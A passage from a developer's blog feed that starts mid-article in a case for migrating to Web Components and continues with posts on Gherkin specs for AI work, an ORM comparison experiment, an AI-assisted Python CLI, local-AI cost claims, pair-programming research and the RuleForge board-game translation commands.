Third, AI leverage: engineers now produce a growing share of code with AI assistance, and the economics of that assistance differ sharply by target. The web platform is a small, stable, exhaustively documented body of knowledge; a framework ecosystem is a large, fast-mutating one whose training data is perpetually stale. AI coding tools are measurably more reliable on the former. As AI-assisted development becomes the dominant mode of production, the substrate that AI handles best becomes the cheaper substrate — and the gap widens every year the platform stays still while frameworks move.

Fourth, architecture: porting to Web Components is not a transliteration of the same design into different syntax. The platform pushes toward a genuinely different architecture — autonomous, message-passing components rather than a centrally reconciled tree — and that architecture has its own economic consequences, mostly favorable for a broad class of applications, which you should adopt deliberately rather than discover by accident.

The recommendation, stated up front: if your application sits in the right quadrant — long-lived, stabilizing, forms-and-views rather than collaborative-canvas — migrate incrementally via the strangler pattern, and reject any big-bang rewrite. The rest of this post develops each pillar, the reasoning behind them, and the conditions under which the whole argument flips.

2. Tenets

Before the pillars, the principles they rest on. If you disagree with a conclusion below, the disagreement is probably with one of these — and that's the productive place to have it.

Optimize total cost of ownership over the application's full life, not development cost over the next quarter. A foundation's depreciation rate matters more than its day-one ergonomics.
Measure labor pools at the skill floor, not the skill label. The relevant question is not "how many React developers exist" but "how many people can become productive in this codebase in a month."
The cost of code is increasingly the cost of supervising AI that writes it. Substrates should be chosen partly for how well machines generate, verify, and maintain code on them.
Architecture is an economic object. Coupling structure determines change cost; choose the structure, don't inherit it from a library's render model.
Prefer two-way doors. A migration plan must be pausable mid-flight while still having paid for itself.

3. Pillar One: The TCO Curve of Platform-Native Code

Most software cost models obsess over construction cost and treat the maintenance tail as a multiplier. For long-lived applications, this is backwards: the tail is the animal. Industry experience consistently puts lifetime maintenance at several multiples of initial development, and the composition of that maintenance is what distinguishes substrates.

Framework code carries three maintenance components: (a) changes you choose to make — features, fixes; (b) changes the substrate forces on you — version migrations, deprecations, dependency security churn, toolchain turnover; and (c) the eventual full rewrite, when the foundation's liability exceeds the asset's value. Platform-native code carries only (a). Component (b) approaches zero because browsers do not ship breaking changes to the DOM; the platform's backwards-compatibility record spans decades, and code written against Custom Elements and CSS custom properties in 2026 will run unmodified in 2040. Component (c) — the scheduled-but-undated rewrite — is eliminated outright, and it's the largest single line in any honest long-horizon model: the cost of your entire application, again, plus the behavioral archaeology of rediscovering a decade of micro-decisions nobody remembers making.

The resulting picture is two depreciation curves. Framework code depreciates like a vehicle: it loses value continuously through ecosystem drift even when untouched, and requires periodic capital injections (major-version migrations) merely to retain function. Platform code depreciates like land with a building on it: the building — your features — needs upkeep proportional to how often you change it, but the ground does not move. On a four-year horizon the curves barely separate, and the framework's day-one ergonomics win. On a ten-year horizon the flat curve dominates decisively, with the crossover arriving well before year eight even under assumptions generous to the framework.

One honest cost on the vanilla side of the ledger: the platform lacks a built-in reactivity model, so any non-trivial app will carry a thin, standards-tracking layer — a few hundred lines of signals, or a micro-library like Lit. That's a maintenance liability you own. It's also bounded, inspectable, and sits on a substrate that doesn't move beneath it — a fundamentally different risk class from a framework's hundreds of thousands of lines on a quarterly release cadence.

4. Pillar Two: The Labor Pool Is Larger, Not Smaller

The conventional objection runs: "the market is full of React developers; vanilla and Web Components are a niche; you'd be narrowing your hiring funnel." This inverts the actual structure of the market.

Every framework developer writes JavaScript. The framework is a dialect on top of a language they already know; the DOM is the machine their framework ultimately drives. A vanilla codebase is therefore legible, at the floor, to the union of all framework communities — React, Vue, Angular, Svelte — plus the substantial population of full-stack and backend engineers who know JavaScript but never specialized in any frontend framework. A framework codebase is legible to one slice. When a company posts a role requiring deep experience in a specific framework at a specific major version, it filters the market twice: once by dialect, once by dialect vintage. Tenet 2 says to measure at the skill floor: the number of engineers who can be productive in a well-structured vanilla codebase within a month is a strict superset — several times over — of those who can be productive in any single framework codebase.

The second-order effects all point the same direction. Onboarding compresses, because there's no framework dialect, no bespoke state-management idiom, and no build-pipeline folklore to absorb; the learning surface is the platform itself — which every candidate has been marinating in their whole career — plus your domain. Skill durability improves: what engineers learn maintaining a vanilla codebase (DOM, events, encapsulation, the platform's actual contract) appreciates over their careers rather than expiring with a framework's market share — which, incidentally, makes such roles easier to sell to strong senior candidates who have been burned by dialect churn before. Key-person risk falls: you're no longer exposed to the scenario where your framework's talent pool thins as fashion moves on, leaving you bidding against scarcity for maintenance of an aging stack — the COBOL dynamic, arriving on a ten-year fuse.

The honest counterpoint: average familiarity with Shadow DOM specifics — slot composition, event retargeting, ElementInternals — is genuinely lower than average familiarity with mainstream framework idioms. Size that as a weeks-not-quarters training cost per engineer, set against a structural enlargement of the funnel. That's a trade worth taking eagerly.

5. Pillar Three: AI Leverage — The Small, Frozen Corpus Wins

A growing share of code is now produced with AI assistance, and the share keeps rising. This changes what "developer productivity" means: increasingly, the binding constraint is not how fast a human writes code but how reliably a model generates it and how cheaply a human verifies it. Substrate choice now has an AI term in it (Tenet 3), and the term favors the platform, for three structural reasons.

The body of knowledge is small. The web platform's API surface — DOM, events, Custom Elements, fetch, modern CSS — is compact and exhaustively specified. A framework ecosystem is that surface plus the framework's own large API, plus its state-management satellites, plus its meta-framework conventions, plus the idioms of whichever major version is current. A model asked to generate framework code is navigating a pattern space an order of magnitude larger, much of it convention rather than specification, where plausible-looking compositions are subtly wrong.

The corpus is stable. Models are trained on historical code. For a fast-moving framework, that history is a sediment of deprecated patterns: training data is dominated by yesterday's idioms, and the model confidently emits APIs that were removed two majors ago, mixes the old paradigm with the new one, or imports packages that have since been renamed. Anyone who uses AI assistants on framework code recognizes this failure mode; it converts generation speed into review burden. Platform APIs don't have this problem, because the correct pattern of 2016 is still the correct pattern of 2026. The training distribution and the deployment reality coincide. This appears to be a permanent structural advantage: it widens every year the platform stays still while frameworks move, and no amount of model improvement fully closes it, because the staleness is in the data, not the model.

Verification is cheaper. AI-generated vanilla code is checkable against a public specification and observable directly in a debugger; there's no reconciler between the code and its effect. AI-generated framework code must additionally be checked against framework semantics — rules of hooks, reactivity caveats, hydration constraints — exactly the kind of non-local, convention-encoded correctness conditions that models violate most and reviewers catch slowest.

The economic translation: if AI assistance produces correct-on-first-pass code meaningfully more often on platform targets — and the day-to-day experience of teams suggests it does — then per-feature production cost on the platform falls faster than on the framework as AI adoption deepens. The framework's traditional advantage was developer ergonomics for humans. In a regime where machines write the first draft, ergonomics-for-machines is the metric, and it points the other way. The benefit is symmetric, too: a smaller, stable codebase with no framework dialect is easier for AI tools to read, making AI-assisted maintenance, migration, and onboarding cheaper as well.

6. Pillar Four: It Is a Different Architecture, and That Is the Point

A framework SPA, whatever its component syntax, is architecturally a centrally coordinated system: a single reconciler owns the tree, state changes flow through a global scheduler, and components are functions evaluated inside someone else's run loop. This buys coherence and costs coupling — every component is coupled to the coordinator's semantics, which is precisely why framework migrations are total rather than partial. You cannot move one limb at a time when one brain runs the body.

Web Components push toward the opposite: an architecture of autonomous cells. Each custom element owns its state, its shadow-encapsulated rendering, and its lifecycle; coordination happens at the edges, through attributes and properties going down and composed DOM events bubbling up — message passing, not shared reconciliation. The DOM itself becomes the integration layer, which is to say the integration layer is standardized, inspectable, and owned by no vendor.

This architecture has economic consequences worth naming explicitly. Change locality: with state and rendering encapsulated per element and styling hard-bounded by the shadow root, the blast radius of a change is structurally small; cost-of-change correlates with the size of the change rather than the size of the application. Independent evolvability: components can be rewritten, replaced, or owned by different teams on different schedules, because the contract between them is the DOM, not a framework version — this is the property that makes incremental migration possible at all, and it persists afterward as a permanent option to adopt or shed any future technology one component at a time. Failure isolation: autonomous cells degrade locally; a broken widget is a broken widget, not a poisoned render tree. Honest costs: truly cross-cutting state — session, theming, live shared data — requires deliberate design (a small event bus or shared reactive stores) rather than reaching for a framework's global store; and deeply orchestrated interactions spanning many components are genuinely harder to express than in a centralized model. For applications shaped like many semi-independent views over a domain model — most business software, most dashboards, most content products — the trade is strongly favorable. For a real-time collaborative canvas, it isn't, and it's better to say so than to pretend.

The strategic point of Tenet 4: don't port the old architecture into new syntax. The migration's full return is only collected if you adopt the cell architecture deliberately — defining element contracts, event taxonomies, and the thin shared-state layer up front — so that what you build is not "your framework app, minus the framework," but a system whose coupling structure is itself the asset.

7. Risks, Reversal Conditions, and the Way to Actually Do It

The pillars share failure modes worth naming. The TCO argument fails if the application's life is cut short — below roughly five years, the flat curve never overtakes. The labor argument fails if the codebase is structured so idiosyncratically that the "anyone who knows JavaScript" floor becomes theoretical; the mitigation is the deliberate architecture of Pillar Four plus written contracts. The AI argument is the youngest and deserves humility plus instrumentation — track first-pass acceptance rates of AI-generated changes on platform-native versus framework surfaces and let the data speak. The architecture argument fails if the product is heading toward heavy cross-component choreography; treat that as a named trigger to reconsider.

And the execution model matters as much as the destination, because the all-at-once rewrite is the highest-risk version of this trade. Web Components offer a uniquely cheap alternative, since custom elements work inside any framework: freeze the framework version first (instantly recovering the upgrade-treadmill capacity, before a single component is ported), build all new components as custom elements mounted within the existing app, convert old components opportunistically when feature work touches them anyway (so the behavioral archaeology is paid for by the feature), and remove the framework shell last, when it has been reduced to routing and a mount point. Each phase pays for itself; the plan is pausable at every stage; even abandoning it after the freeze leaves you better off than before. That's the two-way door of Tenet 5 — and it's the property that turns this from a bet into a position you can adjust.

Appendix: Anticipated Questions (FAQ)

Q: The hiring argument seems backwards — job boards show far more framework roles than vanilla roles.
A: Job postings measure employer demand for dialects, not the supply of capable engineers. The claim here is about supply at the skill floor: everyone writing those framework apps knows JavaScript and the DOM underneath. Going vanilla widens your funnel to the union of all camps; the postings only tell you most employers haven't noticed.

Q: Won't AI tools get good enough at frameworks that Pillar Three evaporates?
A: Models will improve at everything, but the framework penalty is structural, not capability-based: training corpora lag a moving target, and convention-heavy correctness is harder to verify than specification-backed correctness. A better model narrows the gap per task while framework churn re-widens it. Stability is the moat, and only the platform has it.

Q: Isn't "autonomous cells coordinated by events" just microservices on the frontend, with all the same distributed-system pain?
A: It shares the virtue — independent evolvability — without the worst costs: no network between components, synchronous composition, and a standardized integration layer (the DOM) that nobody has to build or operate. The genuine analogous cost, designing cross-cutting state deliberately, is acknowledged in Pillar Four and should be budgeted, not discovered.

Q: If platform TCO is so superior, why do new projects keep choosing frameworks?
A: Because most projects rationally optimize time-to-first-ship on a short horizon, and frameworks win that race. The argument here is about years five through fifteen of an application's life, where the curves invert. Different phase, different optimum — and most TCO discussions never get past phase one.

Q: What single metric tells a team in a year whether this was right?
A: Fully-loaded cost per shipped change on converted surfaces versus unconverted ones — inclusive of review time and AI-assist acceptance rates. If converted surfaces aren't cheaper to change within a couple of quarters, the two-way door is right there.

It's Time We All Eat some more Cucumber!

Sebastian Schürmann — Mon, 08 Jun 2026 09:22:09 +0000

Everyone's writing specs for AI now. We hand the model a markdown file, tell it what we want, and hope it builds the right thing. It mostly works — until it doesn't.

Markdown has quietly become the spec language. People reach for it as the DSL for their AI-driven workflows — headings, bullet lists, the odd table — and treat that loose structure as if it were a contract. The thing is, it isn't a DSL. It's markdown. It's prose formatting with no grammar to enforce, no structure you can execute, no shared vocabulary, and no way to tell whether the spec and the code still agree. You're leaning on a document format to do a job it was never built for, and you hit the limit the moment you want the spec to actually mean something a machine can check.

Before you go down that road, I want to make a small, slightly absurd suggestion.

Eat a cucumber.

What I actually mean

Gherkin is the plain-text language behind Cucumber, a tool that's been around for years in the behavior-driven development (BDD) world. It looks like this:

Feature: User login

  Scenario: Successful login with valid credentials
    Given a registered user "ada@example.com"
    When she logs in with the correct password
    Then she should land on her dashboard
    And she should see a welcome message

  Scenario: Rejected login with wrong password
    Given a registered user "ada@example.com"
    When she logs in with an incorrect password
    Then she should see an "invalid credentials" error
    And she should remain on the login page

That's it. Feature, Scenario, Given/When/Then. Structured enough that a machine can parse it, loose enough that a product manager can write it.

The gap it bridges

Most specs live at one of two extremes.

On one end you have written specs: docs, tickets, markdown files. Readable by anyone, but inert. Nothing checks whether they're still true. They rot the moment the code moves on.

On the other end you have tests: precise, executable, always honest — but written in code, illegible to half the people who actually care about the behavior.

Gherkin sits in the middle. It's prose with just enough skeleton that you can wire each Given/When/Then step to real code. The same file is both the human-readable spec and the thing your test runner executes. When the behavior changes, the scenario fails. The spec can't quietly drift away from reality, because the spec is the check.

That's what people mean by "living specs": documentation that can't lie to you because it runs.

The signals you've outgrown markdown

You don't switch formats on principle. You switch when the document starts straining against what it can express. Three signals tell you you're there.

When the markdown gets too specific. A spec starts as a paragraph of intent. Then someone adds a bullet for the edge case, then a sub-bullet for the exception to the edge case, then a parenthetical for what happens on a leap year. The prose is now pretending to be a state machine. Each of those specifics is really a scenario — a concrete given/when/then — and markdown gives you no way to mark it as one, let alone check it. Gherkin does: every specific behavior becomes its own named scenario you can point at, run, and reason about in isolation.

When tables of example data start to appear. This is the clearest tell. The moment your spec contains a table — input A gives output X, input B gives output Y — you've stopped describing behavior and started enumerating cases. A markdown table just sits there; nothing verifies that row three is still true. Gherkin has this built in with Scenario Outline and Examples:

Scenario Outline: Discount applied by tier
  Given a customer on the "<tier>" plan
  When they check out with a cart total of <total>
  Then the discount applied should be <discount>

  Examples:
    | tier    | total | discount |
    | free    | 100   | 0        |
    | pro     | 100   | 10       |
    | premium | 100   | 25       |

Same readable table — except every row is now an executable test case. Add a row, you've added a test. The data table is the spec.

When requirements are subject to change and re-evaluation. If a requirement will never move, a comment in the code is fine. The cost of a living spec only pays off when things change — and AI-driven work changes constantly. When a rule shifts, you want one place to edit that immediately tells you what broke. With markdown, you change the prose and hope someone updates the code to match; nothing flags the drift. With Gherkin, you change the scenario, run it, and the failures show you exactly where reality no longer agrees. The spec becomes the thing you re-evaluate against, not a stale artifact you forget to update.

Why this matters for AI work

If you're feeding specs to an LLM to generate or verify code, Gherkin gives you three things a freeform markdown file doesn't:

A fixed grammar. The model doesn't have to guess your invented structure. Gherkin's vocabulary is small, well-documented, and almost certainly already in the model's training data.
Executable acceptance criteria. The AI can generate code and you can immediately run the scenarios to see if it actually did the job — no human re-reading the markdown to judge.
A round trip. You can ask the model to write scenarios from a description, write code from scenarios, or check that existing code satisfies them. Each direction has a clear, checkable artifact.

You get the readability you wanted from markdown, plus a definition of "done" that a machine can enforce.

Start small

You don't need to adopt all of BDD or restructure your team. Take one feature you're about to spec for your AI tooling and write it as a .feature file instead of a markdown blob. See how it feels to have the spec and the test be the same document.

You're already using a document format as a spec language. This one was actually built to be one — it already exists, already has tooling in every major language, and already solved the problem markdown keeps quietly failing at.

So: put the markdown back where it belongs. Eat the cucumber.

Let the ORM fight begin!

Sebastian Schürmann — Tue, 28 Apr 2026 17:23:24 +0000

Every few months, a new round of "which TypeScript ORM should we use?" breaks out — on team chats, on Hacker News, in conference hallways. The arguments rhyme: Prisma is too heavy, Drizzle is too new, TypeORM is too legacy, Sequelize is too JavaScript-y. The evidence cited is usually a benchmark from 2022, a vibes-based blog post, or a single bug someone hit on a Tuesday.

Got tired of it as well? We're running an experiment!

The setup

github.com/orm-fight is a public GitHub organization where we've started spinning up one project per major TypeScript ORM. Same domain, same test suite, same CI/CD pipeline, same Dependabot configuration. The only thing that changes between projects is the ORM itself.

The application we're building is a double-entry bookkeeping system. We picked it deliberately: it's a domain with real transactional constraints (debits must equal credits), genuine relationships between tables (accounts, ledgers, entries, postings), and invariants that any ORM worth its npm download has to help you express and enforce.

Each project has:

A test suite built on the Node.js built-in test runner (no Jest, no Vitest — we want to keep the dependency footprint honest).
A CI pipeline that builds main, runs tests, and pushes artifacts.
Dependabot turned on, so every project receives the same upgrade pressure.
An SBOM generated and stored as a build artifact, so we can track dependency drift over time.

What we want to know

Once these projects have been running for a while — we're aiming for a runtime of about a year — we'll have data on questions that usually get answered with anecdotes:

How do the implementations actually differ? It will be interesting to see how the syntax sugar from framework to framework differs - or not.
How often do updates land? Which ORMs ship steadily, which go quiet, which break things in minor releases.
How many CVEs are reported over time? And — more interestingly — how does that propagate to transitive dependencies? An ORM is rarely a single package; it's a tree.
How does the dependency graph evolve? This is what the SBOMs are for. We want to see the supply chain shape, not just the top-level package.json.

Why we're doing this

Two reasons.

The first is straightforward: we want long-term, evidence-based knowledge to ground future ORM discussions. To replace "I read somewhere that..." with "here's the data we collected over the last 12 months." Being equally allergic to hype and bullshit bingo: Maybe its time for some a experiment to see what stands out, whats boring (aka ready for prod) and whats surprisingly broken.

The second reason is supply chain security. An ORM is one of the most consequential dependencies in a typical Node.js backend. It pulls in database drivers, query builders, connection pools, validation libraries, sometimes a whole code-generation pipeline. The security posture of your app is, in large part, the security posture of your ORM and everything downstream of it. Tracking SBOMs over time, against real CVE data, is a useful thing to practice — and one of the side effects of this project is that we'll get good at extracting and researching build artifacts.

We also just want to write about it as it happens. One year is a long time in JavaScript-land. Things will break. Things will improve. Some maintainers will burn out. Some projects will surprise us. That story is worth telling in real time.

The contestants

Here are the TypeScript SQL ORMs (and ORM-adjacent tools) we're starting with:

Prisma — Schema-first with codegen, excellent type safety, migrations built-in. The most popular option, and the one most teams default to.
Drizzle ORM — Lightweight, SQL-like query builder, zero runtime overhead, edge-friendly. The newcomer that has eaten a lot of Prisma's mindshare in the last two years.
TypeORM — Decorator-based, supports both Active Record and Data Mapper patterns. Mature, widely deployed, and starting to feel its age.
MikroORM — Data Mapper, Unit of Work, Identity Map. If you've worked with Doctrine or Hibernate, you'll feel at home immediately.
Kysely — Strictly speaking, a type-safe SQL query builder rather than a full ORM. Included because a lot of teams reach for it instead of an ORM, and we want that comparison on the table.
Sequelize — JS-first with TypeScript types added later. Still very common in legacy codebases.
Objection.js — Built on Knex, less TS-native but still in production use in a lot of places.

We may add or drop candidates as we go. If a project is clearly abandoned by month three, it goes. If something interesting shows up, it gets a slot.

Follow along

Everything is public from day one — the code, the CI configuration, the SBOMs, the Dependabot history. You can find the organization at:

https://github.com/orm-fight/

I'll be writing here periodically with what we're seeing — early surprises, build breakages, CVE patterns, dependency tree changes, and whatever else turns up that we didn't expect.

The fight isn't really between the ORMs. It's between the way we currently choose tools — vibes, recency bias, the loudest voice in the team meeting — and a slower, more boring, more useful alternative: actually watching them over time - create a conclusion from data.

Let the ORM fight begin.

From Vibecoding to Vibelaunching: Building the ecosystems-cli

Sebastian Schürmann — Mon, 20 Apr 2026 18:58:07 +0000

12 months ago I set a goal: ship a production-ready CLI for the ecosyste.ms API, in Python. Some commits later, ecosystems-cli is about to land on PyPI. A deliberate attempt to take LLM-assisted development seriously on something larger than a toy.

Why bother

I follow the AI critics and agree there are real risks in LLM-supported development. But criticism grounded only in theory is thin. I wanted more than the same twenty one-trick-pony demos that cycle through LinkedIn every week. So I picked a language I don't work in daily (Python) to reproduce the quintessential vibecoding condition — a little out of my depth — and built something I'd actually use, because we were using ecosyste.ms at work.

The setup isn't traditional anymore

The project is developed with Claude Code, but the "setup" has drifted a long way from what that phrase usually implies. My baseline expectation is now, that a coding LLM can follow the Zen of Python and write real tests. From the initially used 'instruction heavy mode', something interesting happens: over time, the code turns into spec via the unit tests. The tests pin behaviour; the code becomes the executable description of that behaviour; and the next change — refactor, rewrite, port — starts from a spec that's already true. These days: no skills, no Claude.md, etc. Plain: open a session and tell the clanker what to do.

The practical payoff is replayability. I can blow up a module, regenerate it, and the test suite tells me whether I'm back where I was. On larger projects, that's a qualitatively different experience than any setup I've used before.

What actually took 10 months

Work work (Peons, Warcraft II)

API client approach. Started with an OpenAPI-generated client, abandoned it for a custom implementation, then migrated to a mature third-party library once I understood the domain well enough to evaluate one.
Release pipeline. The unglamorous CI/CD grind is where some of the time went.
17 endpoints + MCP integration. Wrapping each endpoint is concrete, bounded work. MCP added another layer.
Python as a second language. Syntax is the easy part; idioms, tooling conventions, and ecosystem norms take longer. Early decisions got revisited as my understanding deepened.
Continuous refactoring. Fighting unnecessary abstraction is constant. Several designs got simplified once they failed to earn their keep.

OpenCollective changed the trajectory

When ecosyste.ms adopted the CLI officially and started funding it via OpenCollective, the project stopped being a side experiment and started being worth finishing properly. It's not keep-the-lights-on money, but it's a meaningful signal — and it bought the time for the boring, essential work: test coverage, documentation, dependency management, a reliable release pipeline. That's the real line between prototype and production.

Takeaways

Be willing to throw out early architecture. The generated client → custom → library arc wasn't waste; each step taught the next.
Infrastructure is not optional. A serious chunk of any real project is CI/CD, tests, and release plumbing.
Refactoring is continuous. Especially with an LLM in the loop — it happily generates abstractions that don't earn their keep unless you push back.
Tests are the spec. This is the unlock. If your test suite describes behaviour well, the code underneath becomes replaceable. That's what makes LLM-assisted development work at scale instead of collapsing into spaghetti.
Funding enables quality. The non-feature work that separates a tool from a toy doesn't happen on evenings and weekends indefinitely.Thanks to ecosyste.ms
Some problems are 'LLM hard': Parameter parsing in such a large app with nuanced differences in underlying API structure - Mission impossible.

The result is a CLI that's functional, maintainable, and ready to be used by people who aren't me. To end up in a 'Instructionless mode' is quite surprising, but surely a result of python leaning to a minimalism that is to be found in 'The Zen of Python'.

Local AI Will Save Us All (The Math Says So, Trust Me)

Sebastian Schürmann — Wed, 15 Apr 2026 14:05:13 +0000

Every few weeks a take goes viral in tech circles making the case for ditching cloud AI and running models locally. The argument is always roughly the same: cloud costs add up, your data is being shipped to American servers of dubious legal standing, and a one-time GPU purchase pays for itself in 18 months. Bold claim. Simple math. Lots of hashtags.

It deserves a closer look.

The typical version of this argument runs something like: two RTX PRO 6000 Blackwells, 1,200W draw, six hours a day, €0.32 per kWh — "about €48/month" in electricity. The cards themselves cost around €16,000. Cloud AI, by comparison, runs €100–200 per developer per month. Eight developers, 18 months, done.

Except the electricity bill is already wrong. 1.2 kW × 6h × 30 days × €0.32 = €69.12. Not €48. A 44% error in the opening calculation of an argument whose entire appeal is rigorous arithmetic.

The break-even math has bigger problems. €100–200/month per developer implies roughly 20 million tokens consumed per person per month. That is not a power user. That is a token foundry. For any team using AI at normal human rates, the break-even slides quietly past two years — by which point the GPU generation is already dated.

The €16,000 hardware figure also never travels with:

Cooling. 1,200W sustained is a serious heat load. Office HVAC was not designed for this.
Labor. Keeping local model infrastructure running — version management, security patches, prompt compatibility across model updates — is real engineering work that doesn't appear in these spreadsheets.
Hardware failure. Cloud providers have SLAs. Your server closet does not.

Noise. Two RTX PRO 6000 Blackwells under full load exceed 50 dB — a loud dishwasher, sustained, all day. In a dedicated server room, fine. In a shared office, your colleagues will have opinions.

Availability. The RTX PRO 6000 Blackwell is a new, high-demand professional card with constrained supply and multi-week lead times. If one card fails, you are not buying a replacement over the weekend. You wait — potentially a month or more. Keeping a spare sounds prudent; that spare costs another ~€8,000 and is equally hard to source. A single-point-of-failure setup with no redundancy and a six-week replacement window is not infrastructure. It is optimism.

Where the Argument Has a Point

Data sovereignty is real. GDPR compliance for third-country data transfers is genuinely complex, vendor terms change, and strategic dependence on external model providers is a risk that tends to get underweighted until it isn't. The upfront capital requirement is the actual barrier for most teams, not the long-run economics.

But the most important question gets skipped entirely: is the local model actually as good? Two Blackwells with 192GB VRAM can run serious open-weight models — this is not a toy setup. But if developers need two or three attempts to get what a frontier cloud model produces in one, the labour savings evaporate and the break-even never arrives.

The Bottom Line

Local AI infrastructure can make sense — for teams with heavy, sensitive workloads, strong in-house ops capability, and the capital to do it properly, including redundancy, cooling, and the realistic assumption that hardware will occasionally fail at inconvenient times.

What it is not is a simple 18-month arbitrage available to anyone with a GPU and a spreadsheet.

The sovereignty argument is the strongest card in the deck. Lead with that. The cost argument needs a lot more columns in the spreadsheet before it holds up.

Down the Rabbit Hole: Building the Reference List for the Pair-Programming Book

Sebastian Schürmann — Mon, 13 Apr 2026 11:20:07 +0000

There's a particular kind of humbling that happens when you sit down to write a book and realize you need to actually read the papers you've been casually citing for years.

That's more or less where I found myself when I started assembling the reference list for the Pair Programming Book. What started as "I'll just gather the key papers" turned into a months-long excavation through decades of software engineering research. The current estimate: somewhere between 250 and 500 relevant papers. And counting.

Here's what that journey looked like.

The Papers You Know But Haven't Read

Every field has its citation folklore — papers so frequently referenced that they've achieved the status of common knowledge without anyone actually opening them. Pair programming research is no exception.

I had a mental list of "classics" I'd been nodding at for years. Williams et al., 2000. Cockburn and Williams. The early XP studies. I knew their conclusions the way you know the plot of a movie you've never seen — through cultural osmosis, hallway conversations, and abstracts alone.

Actually reading them was a different experience. Some held up beautifully. Others were more nuanced, more conditional, more contested than the canonical summary suggested. A few conclusions that had calcified into "everyone knows that pair programming does X" turned out to rest on a single study with 41 undergraduates.

The lesson: citation chains in a young field are fragile things. You owe it to your readers — and yourself — to go back to the source.

Laurie Williams Deserves a Prize

If pair programming research has a GOAT, it is, without question, Laurie Williams.

The sheer volume of rigorous, foundational work she has produced on the subject is staggering. While others were still debating whether pair programming was a gimmick, Williams was running controlled studies, developing frameworks, and building the empirical case that made the whole conversation possible. Decade after decade.

Writing this book without her work would be like writing about relativity and hoping Einstein doesn't come up. She doesn't just appear in the bibliography — she is a substantial portion of it.

If there is ever a formal prize for contributions to software engineering research, the pair programming category should be named after her.

The Questionable Corners of the Literature

Not every paper in the pile earned its place gracefully.

Some announced themselves with titles that made me wince before I even opened the PDF. You know the genre. A combination of buzzwords, a forced acronym, and a vague promise of insight that the abstract doesn't quite deliver on. I won't name names. But I have a folder.

More substantively: a surprising amount of pair programming research is built on frameworks that the broader scientific community has quietly retired. Personality type taxonomies are the main offender. Myers-Briggs in particular makes repeated appearances — studies earnestly classifying programmers into 16 types and drawing conclusions about pairing compatibility. The problem is that the psychometric foundation for these instruments has been thoroughly undermined. They're not useless as casual conversation tools, but basing empirical research claims on them is shaky ground.

The same applies to some of the "introvert vs. extrovert" dichotomy work, which tends to treat personality as a binary switch rather than the distributed, context-dependent trait that modern personality psychology describes.

This doesn't mean the research is worthless — often the observations are real even when the interpretive framework is suspect. But it does mean a lot of careful reading, and a lot of footnotes that essentially say: the finding is interesting, the taxonomy it's hung on is not.

What 250–500 Papers Looks Like

It looks like a lot of tabs.

It also looks, honestly, like a field that is richer and more contested than its popular summary suggests. Pair programming is not simply "proven effective" or "proven ineffective." The evidence is contextual, domain-specific, experience-level-dependent, and shaped enormously by how you define and measure "effective" in the first place.

That complexity is exactly why the book needs to exist. The practitioner literature tends toward confident prescriptions. The academic literature is full of hedges, replications, and contradictions that rarely make it into the conference talk or the blog post.

The reference list is the honest accounting of that complexity. Every citation is a commitment: I looked at this, I understand what it claims, and I'm representing it faithfully.

That's the job. It's slower than I expected. It's also more interesting.

From Cardboard to Code

Sebastian Schürmann — Fri, 10 Apr 2026 22:43:15 +0000

The design challenge isn't understanding board games. It's turning prose rules into structures a software team can actually act on.

There are thousands of board games. Most of them contain fascinating design work: carefully balanced economies, elegant interaction models, loop structures refined over years of playtesting. Almost none of them exist as digital games. The barrier is real work — translating a 40-page rulebook into a game design document, a feature backlog, an architecture diagram, user stories — before a single line of code is written.

RuleForge automates that translation. You hand it a PDF. It hands you a developer bundle.

What it actually does

At its core, RuleForge is a suite of Claude Code slash commands stored in a .claude/commands/ directory. Each command is a focused AI workflow targeting one specific phase of the board-game-to-digital-game translation process. They can be run individually, or chained together through the main /ruleforge pipeline command.

The full pipeline runs 16 stages and produces a self-contained output directory scoped to the game — something like output/catan/ or output/terraforming-mars/ — filled with structured files ready for a development team.

The pipeline, step by step

1. /complexity-estimate — Quick pre-flight scan
Before committing to the full pipeline, get a fast complexity estimate. How long is the rulebook? How many mechanics? Is this a 20-minute job or a 2-hour one?

2. /ruleforge — Full pipeline, PDF to developer bundle
The main event. Extracts rules, identifies mechanics, generates the game loop diagram, writes the GDD, builds the feature list, creates user stories, outputs architecture diagrams. Resumable if interrupted.

3. /card-database + /economy-flow — Domain-specific extraction
Card-heavy games need their component databases structured. Economy-driven games need their resource flows mapped — sources, sinks, conversions. These commands go deeper on those specific concerns.

4. /accessibility-audit — Check for digital barriers
Audits the extracted design across five accessibility dimensions: visual, motor, cognitive, hearing, and communication. Digital ports are an opportunity to do better than the physical original.

5. /realtime-forge — Translate to interactive game design
The big leap. Takes the RuleForge output and translates it into a real-time or interactive digital game design — covering analysis, a revised GDD, architecture, balance sheets, asset specifications, and prototype prompts. Seven waves, roughly 30 output files.

6. /dev-bundle — Validate and package
Validates all output files including Mermaid diagram syntax, checks for completeness, and packages everything into a clean bundle ready to hand off.

The full command library

Extraction & Analysis

Command	What it does
`/extract-rules`	Parse and summarize the rules from a PDF. The raw input layer.
`/identify-mechanics`	Classify game mechanics across 25 standard types — Worker Placement, Deck Building, Area Control, Engine Building, and so on.
`/game-loop`	Generate a Mermaid diagram of atomic, primary, secondary, and tertiary game loops.
`/validate-loop`	Check the game loop for structural soundness and state reachability. Catches design dead ends.
`/adaptation-gap`	Report on how much work a digital port actually requires — No Change / Simple Adaptation / Redesign.
`/flag-ambiguities`	Surface rules that are unclear, contradictory, or likely to cause bugs when implemented.
`/confidence-score`	Self-assessment of extraction quality. Useful for knowing when to do a manual review.

Design & Documentation

Command	What it does
`/generate-gdd`	Full Game Design Document. Chunked automatically for complex games.
`/balance-sheet`	Extract balance parameters with digital annotations and sensitivity analysis.
`/feature-list`	Prioritized feature list output as both CSV and Markdown, with a dependency diagram.
`/user-stories`	User stories with granularity selector and acceptance criteria. Outputs to Stories.csv.
`/onboarding-design`	Tutorial and onboarding flow design — how a new player learns the game digitally.
`/interaction-model`	Component interaction model — how game entities relate to and affect each other.

Architecture & Prototyping

Command	What it does
`/architecture-diagram`	System architecture in Mermaid. Supports Unity, Godot, Phaser, Web, or generic targets.
`/prototype-prompts`	AI prototyping prompts for Rosebud, v0, Bolt, Lovable, or generic tooling.
`/economy-flow`	Resource economy diagram — where resources come from, where they go, and how they convert.
`/card-database`	Extracts individual card, tile, or component data into a structured database.

Standalone Utilities

Command	What it does
`/game-mixer`	Blend mechanics from two or more games into hybrid designs, with iteration support.
`/decompose-idea`	Break down a game idea using a 7-category ludemic framework.
`/ludeme-generator`	Generate a Ludii game description file (.lud) from a concept.
`/game-fitness`	Analyze a game concept across 6 fitness dimensions.
`/playtest-design`	Design an automated playtesting plan with fitness functions.
